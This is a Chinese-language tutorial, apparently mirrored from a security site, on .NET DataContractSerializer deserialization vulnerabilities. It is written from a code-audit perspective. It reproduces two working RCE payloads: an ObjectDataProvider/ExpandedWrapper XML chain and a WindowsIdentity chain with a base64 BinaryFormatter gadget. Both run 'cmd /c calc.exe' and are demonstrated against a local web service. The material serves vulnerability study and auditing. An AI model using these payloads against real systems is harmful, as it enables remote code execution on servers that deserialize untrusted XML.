39

.NET高级代码审计(第五课) DataContractSerializer反序列化漏洞

 5 years ago
source link: https://www.anquanke.com/post/id/175796?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

vaqIzyi.jpg!web

0X00 前言

DataContractSerializer类用于序列化和反序列化 Windows Communication Foundation (WCF) 消息中发送的数据,用于把CLR数据类型序列化成XML流,它位于命名空间System.Runtime.Serialization,继承于System.Runtime.Serialization.XmlObjectSerializer,在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

0X01 DataContractSerializer序列化

类名使用DataContractAttribute 标记,类成员使用DataMemberAttribute 标记,可指定要序列化的属性和字段,下面先来看这个系列课程中经典的一段代码

R3UJjiZ.png!web

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值

JfEzeuq.png!web

使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化,笔者定义TestClass对象,常规下使用WriteObject得到序列化后的XML数据

<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>

0x02 DataContractSerializer反序列化

2.1、反序列化原理和用法

反序列过程是将XML流或者数据转换为对象,在DataContractSerializer类中创建对象然后调用ReadObject方法实现的

z2iMfyM.png!web

首先看DataContractSerializer类的定义,创建实例的时候会带入类型解析器

jQnyeqe.png!web

然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType

ZfMruea.png!web

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内

m26BnmA.png!web

ReadDataContractValue方法体内返回用ReadXmlValue处理后的数据,

Aniu6fQ.png!web

从下图可以看出这是一个C#里的虚方法,在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。

VRfUZr6.png!web

下图Demo展示了序列化和反序列化前后的效果

NBbmyqZ.png!web

反序列化后得到对象的属性,打印输出成员Name的值。

Y3M3IjN.png!web

2.2、攻击向量—ObjectDataProvider

漏洞的触发点是在于初始化DataContractSerializer类实例时,参数类型解析器type是否可控,也就是说攻击者需要控制重构对象的类型,若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《 .NET高级代码审计(第一课) XmlSerializer反序列化漏洞 》,因为Process.Start之前需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序,然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据,下面是国外研究者提供的反序列化Payload

<?xml version=""1.0""?>

<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">

    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""                                                     xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""                                                      xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">

      <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">

        <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>

      </ExpandedElement>

      <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">

        <a:MethodName>Start</a:MethodName>

        <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType>

        </a:MethodParameters>

        <a:ObjectInstance z:Ref=""ref1""/>

      </ProjectedProperty0>

    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>

</root>

F3QJruq.png!web

设计的Demo里使用ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。

3UZbu2N.png!web

2.3、攻击向量—WindowsIdentity

第二种攻击方法使用WindowsIdentity类,这个类继承了ClaimsIdentity,并且实现了ISerializable接口,实现这个接口好处是可以控制你想反序列化的数据类型,此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《 .NET高级代码审计(第二课) Json.Net反序列化漏洞 》,下面是国外研究者提供的反序列化Poc

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">

    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">

      <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>

       </WindowsIdentity>

</root>

vUb6ryy.png!web

将Demo中的变量替换掉后,在抛出异常之前成功触发计算器,效果如下图

0x03 代码审计视角

3.1、ReadObject

从代码审计的角度很容易找到漏洞的EntryPoint,通过前面几个小节的知识能发现需要满足一个类型解析器type可控,再传入XML,就可以被反序列化,例如下面的DataContractSerializer类

iaEraej.png!web

0x04 案例复盘

  1. 使用ObjectDataProvider攻击向量,输入 http://localhost:5651/Default Post加载value值

UzqEjiy.png!web

  1. 通过ReadObject 反序列化 ,并弹出计算器,网页返回200。

rMVRNj2.png!web

  1. 使用WindowsIdentity攻击向量,输入 http://localhost:5651/Default Post加载value值,弹出计算器的同时,服务也会挂掉。

e6Zb6jI.png!web

最后附上动态效果图

qMBzEjr.gif

0x05 总结

DataContractSerializer在实际开发中使用频率较高,但因type需可控才能实施攻击,所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。

yme2Un7.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK